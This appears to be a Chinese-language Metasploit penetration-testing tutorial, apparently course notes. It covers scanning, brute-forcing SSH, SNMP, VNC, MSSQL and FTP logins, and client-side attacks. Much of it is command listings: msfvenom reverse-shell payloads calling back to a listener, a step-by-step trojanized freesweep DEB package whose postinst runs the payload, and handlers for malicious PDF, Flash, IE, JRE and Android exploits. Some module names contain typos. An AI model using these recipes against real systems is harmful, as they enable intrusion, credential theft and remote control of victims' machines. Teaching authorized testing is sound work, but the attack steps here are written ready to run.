Kali Linux渗透测试——MSF实战篇(一)

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

      • 一、信息收集
        • (一)db_nmap
        • (二)Auxiliary模块
          • 1.arp扫描
          • 2.端口扫描
          • 3.空闲扫描
          • 4.UDP扫描
          • 5.密码嗅探
          • 6.SNMP扫描(161端口)
          • 6.SMB扫描(445端口)
          • 7.SSH扫描(22端口)
          • 8.扫描Windows缺少的补丁
          • 9.mssql扫描(TCP 1443或者UDP 1434端口)
          • 10.ftp扫描(21端口)
      • 二、漏洞扫描
          • 1.VNC密码破解
          • 2.RDP远程桌面漏洞
          • 3.设备后门
          • 4.VMWare ESXi密码爆破
          • 5.http漏洞扫描
          • 6.漏洞扫描
      • 三、客户端渗透
        • (一)利用可执行文件运行payload
          • 1.针对Windows系统
          • 2.针对Linux系统
        • (二)利用普通文件运行payload
          • 1.利用Adobe Reader漏洞执行Payload
          • 2.利用Flash插件漏洞执行Payload
          • 3.利用IE浏览器漏洞执行Payload
          • 4.利用JRE漏洞执行Payload

一、信息收集

所利用的模块基本在auxiliary/scanner/目录中,同时也可以利用强大的nmap工具进行扫描,Metasploit中集成了db_nmap,把nmap扫描的结果存入数据库。

(一)db_nmap

db_nmap -sn 10.10.11.151/24

Kali Linux渗透测试——MSF实战篇(一)_第1张图片

图1 db_nmap命令使用

(二)Auxiliary模块

在auxiliary/scanner/.目录下有非常多扫描模块,这里只介绍常用的部分

1.arp扫描
search arp
use auxiliary/acanner/discovery/arp_sweep
set INTERFACE eth0
set RHOSTS 10.10.11.151/24
set THREADS 20                     #设置线程数
run
2.端口扫描
search portscan
use auxiliary/scanner/portscan/syn #也可以用ack、tcp连接等方式
set INTERFACE/RHOSTS/THREADS/PORTS 
run                                #扫描指定主机的指定端口                       
3.空闲扫描

空闲扫描原理为了降低在扫描过程中被发现的概率,通常可以使用空闲扫描(idle scan),让僵尸机充当扫描任务,注意要找一台TCP序列预测成功率高的僵尸主机,这个僵尸主机必须尽可能的空闲,比如说网络打印机就是一个很好地选择,因为网络打印机不仅存在着恒定的网络资源,而且很难预测它们的TCP序列。具体如下:
(1)向僵尸主机发送SYN/ACK数据包,获得带有分片ID(IPID)的RST报文
(2)发送使用僵尸主机IP地址的伪数据包给目标主机
(3)如果目标主机端口关闭,就会向僵尸主机响应RST报文。如果目标端口开放,目标主机向僵尸主机响应SYN/ACK报文,僵尸主机发现这个非法连接响应,并向目标主机发送RST报文,此时IPID号开始增长。
(4)通过向僵尸主机发送另一个SYN/ACK报文已退出上述循环并检查将是主机RST报文中的IPID是否每次增长2,同时目标主机的RST每次增长1。
(5)重复上述步骤直到检测完所有的端口

#首先要发现ipid递增的僵尸机
search ipid
use auxiliary/scanner/ip/ipidseq
set INTERFACE/RHOSTS/THREADS
run  

Kali Linux渗透测试——MSF实战篇(一)_第2张图片

图1 ipidseq模块使用命令使用
#然后使用nmap进行空闲扫描
db_nmap -Pn -sI 10.10.11.113 10.10.11.122
4.UDP扫描
use auxiliary/acanner/discovery/udp_sweep
set RHOSTS 10.10.11.120-10.10.11.160
run

use auxiliary/scanner/discovery/udp_probe
set RHOSTS 10.10.11.120-10.10.11.160
run          #两个模块扫描类似
5.密码嗅探
#psnuffle模块支持从pcap抓包文件中提取密码
#功能类似dsniff
#目前只支持pop3、imap、ftp、http get协议

use auxiliary/sniffer/psnuffle
set PCAPFILE      #设置该参数后,run会从此pcap文件中提取账号密码
6.SNMP扫描(161端口)

简单网络管理协议(Simple Network Managemant Protocol,SNMP)能够对网络节点设备的接口流量、数据等信息进行统计,当然后按一定的格式保存起来。用户设备向路由器发送请求,获取数据,数据的格式和内容就是SNMP所规定的,采用UDP 161端口通信。

#针对Linux系统
vim /etc/default/snmpd  #虚拟机中侦听地址默认为自身,先需要将侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp/snmp_login  #需要设置爆破密码的字典
set PASS_FILE/THREAD/RHOSTS
run

use auxiliary/scanner/snmp/snmp_enum  #枚举snmp的配置信息
set RHOSTS
run

#针对Windows系统
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/snmp_enumshares
6.SMB扫描(445端口)
#输入用户名和密码后的消息会更具体
use auxiliary/scanner/smb/smb_version      #SMB版本、系统版本扫描
use auxiliary/scanner/smb/pipe_auditor     #扫描命名管道,判断SMB服务类型
use auxiliary/scanner/smb/smb_enumusers    #枚举用户
use auxiliary/scanner/smb/smb_enumshares   #枚举共享

7.SSH扫描(22端口)
use auxiliary/acanner/ssh/ssh_version      #SSH版本、系统版本扫描

use auxiliary/acanner/ssh/ssh_login        #SSH密码爆破
set RHOSTS/USER_FILE/PASS_FILE           
run

use auxiliary/scanner/ssh/ssh_login_pubkey #SSH公钥登录
set KEY_FILE id_rsa
set USERNAME root
run
8.扫描Windows缺少的补丁
use post/windows/gather/enum_patches
set SESSION x       #基于已经获取的session x,其中KB表示补丁编号(在微软官网上可以找到补丁编号)
run                 #查询目标主机是否缺少设置的KB补丁,并列出缺少可能存在的漏洞

Kali Linux渗透测试——MSF实战篇(一)_第3张图片

图3 enum_patches模块使用

注:KB4012598是永恒之蓝漏洞补丁

9.mssql扫描(TCP 1443或者UDP 1434端口)

mssql是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,mssql利用TCP 1443端口(动态)或者UDP 1434端口。

use auxiliary/scanner/mssql/mssql_ping  #扫描mssql端口
use auxiliary/scanner/mssql/mssql_login #爆破mssql密码
use auxiliart/scanner/mssql/mssql_exec  #破解数据库密码后,远程执行代码
10.ftp扫描(21端口)
use auxiliary/scanner/ftp/ftp_version    #扫描ftp版本
use auxiliary/scanner/ftp/ftp_anonymous  #确认ftp服务是否是匿名登录
use auxiliary/scanner/ftp/ftp_login      #ftp密码爆破登录

二、漏洞扫描

  • 根据信息收集结果搜索漏洞利用模块
  • 结合外部漏洞扫描系统对IP地址段进行批量处理
1.VNC密码破解

VNC指虚拟网络控制台的,是一款远程控制工具

use auxiliary/scanner/vnc/vnc_login      #VNC密码破解
set BLANK_PASSWORDS yes                  #空密码检查开启
use auxiliart/scanner/vnc/vnc_none_auth  #判断VNC是否无认证访问
2.RDP远程桌面漏洞
#远程桌面服务端口3389
use auxiliary/scanner/rdp/ms12_020_check #扫描目标主机是否存在RDP漏洞
3.设备后门
use auxiliary/scanner/ssh/juniper_backdoor  #检测目标主机是否存在juniper漏洞
use auxiliary/scanner/ssh/fortinet_backdoor #检测目标主机是否存在fortinet漏洞
4.VMWare ESXi密码爆破
use auxiliary/scanner/vmware/vmauthd_login    #ESXi密码爆破
use auxiliary/scanner/vmware/vmware_enum/vms  #爆破密码后,列出ESXi所有的虚拟机,然后进一步进行管理

use auxiliary/admin/vmware/poweron_vm         #进一步远程开启虚拟机
5.http漏洞扫描
use auxiliary/scanner/http/cert         #查看证书是否过期
use auxiliary/scanner/http/dir_listing  #查看是否存在目录列出的漏洞
use auxiliary/scanner/http/files_dir    #爬取文件目录
use auxiliary/scanner/http/dir_webdav_unicode_bypass #WebDAV Unicode编码身份验证绕过
use auxiliary/scanner/http/tomcat_mgr_login #Tomcat管理登录
use auxiliary/scanner/http/verb_auth_bypadd #基于HTTP方法的身份绕过
use auxiliary/scanner/http/wordpress_login_enum 
set URI /wordpress/wp-login.php         #Wordpress密码爆破

WEB漏洞扫描可以用WMAP插件,WAMP会调用MSF的扫描模块

load wmap
wmap_sites -a http://1.1.1.1  #要扫描的目标网站
wmap_sites -l                 #列出扫描的目标
wmap_targets -t http://1.1.1.1/mutillidae/index.php  #指定具体的站点目标
wmap_run -t                   #-t表示wmap调用的扫描模块
6.漏洞扫描

Metasploit没有专门开发漏扫工具,而是采用调用目前已经非常成熟的漏扫软件,结合漏扫报告或者调用插件完成漏洞扫描功能。可以先用扫描器(nessus、openvas等)扫描目标,导出扫描报告,然后用MSF导入报告文件:(较为直观,常用)

db_import openvas.nbe  #导入openvas的扫描文件openvas.nbe

也可以加载插件,如:

load nessus       
nessus_help
nessus_connect  admin:[email protected]   #连接nessus服务器
nessus_pulicy_list            #查看nessus服务器扫描策略
nessus_scan_new  POLICY_UUID  #创建POLICY_UUID策略扫描任务
nessus_scan_launch  SCAN_ID   #执行扫描SCAN_ID
nessus_report_list            #列出扫描报告

三、客户端渗透

(一)利用可执行文件运行payload

在无法突破网络边界的情况下转而攻击客户端,利用含有漏洞利用代码的WEB站点,或含有漏洞的文档,或者上传Payload,诱使攻击目标访问这些文件。

1.针对Windows系统

msfvenom是Metasploit的Payload生成器,利用其可以生成针对不同平台的木马脚本

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe
# -x和-k参数一般同时使用
# -x:表示与现有软件绑定在一起
# -k:表示在现有程序基础上另开一个线程运行,这样才不会覆盖原程序

handler模块是一个生成在metasploit框架外执行的程序的平台,用于启动端口侦听,为反弹shell提供接口

use exploit/multi/handler   #反弹shell前提是攻击方要开启端口监听
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit                     #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端
2.针对Linux系统
apt-get --download-only install freesweep #下载扫雷游戏DEB包
dpkg -x freesweep_0.90-1_i386.deb free    #解压下载的DEB包到free目录
mkdir free/DEBIAN && cd free/DEBIAN       
vim control                               #创建控制文件
vim postinst                              #安装DEB后执行的shell脚本
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\00" -f elf -o /root/free/usr/games/freesweep_scores

chmod 755 postinst
dpkg-deb --build /root/free               #重新打包生成DEB包

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit                #启动端口侦听,攻击目标运行1.exe后,就会反弹至服务器端

(二)利用普通文件运行payload

一般用户对运行外部可执行文件都有防范,攻击目标中招的可能性较低,因此要进一步将payload植入隐蔽性较强的文件。

1.利用Adobe Reader漏洞执行Payload
use exploit/windows/fileformat/adobe_utilprintf 
set payload windows/meterpreter/reverse_tcp     #尽量选择meterpreter的shell,因为功能较多
set RHOST/RPORT
exploit             #构造pdf文件  

use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
exploit             #启动端口侦听,攻击目标运行pdf文件后,就会反弹至服务器端  
use exploit/windows/browser/adobe_utilprintf    #构造恶意网站
set SRVPORT 80
set URI /                                       #URI如果不指定,则会生成随机码地址             
set payload windows/meterpreter/reverse_tcp
run

#攻击者一旦访问构造的URL,就会反弹shell
2.利用Flash插件漏洞执行Payload
use exploit/multi/browser/adobe_flash_hacking_team_uaf       #生成URL,用户一旦访问,并且客户端Flash存在漏洞,就会反弹shell给服务器端
use exploit/multi/browser/adobe_flash_opaque_background_uaf  #同上

use auxiliary/server/browser_autopwn2   #与以上不同的是无需设置payload,该模块会自动指定评级较高的payload,启动多个进程
3.利用IE浏览器漏洞执行Payload
use exploit/windows/browser/ms14_064_ole_code_exe
set SRVPORT/URIPATH/LHOST/payload
run             #原理同上
4.利用JRE漏洞执行Payload
#访问网站有java漏洞利用代码,客户端JRE如果存在漏洞,一旦访问运行就会中招
use exploit/multi/browser/java_jre17_driver_manager
use exploir/multi/browser/java_jre17_jmxbean
use exploir/multi/browser/java_jre17_reflection_types

use payload/android/meterpreter/reverse_tcp
generate -f a.apk -p android -t raw

你可能感兴趣的:(Kali,Linux渗透测试)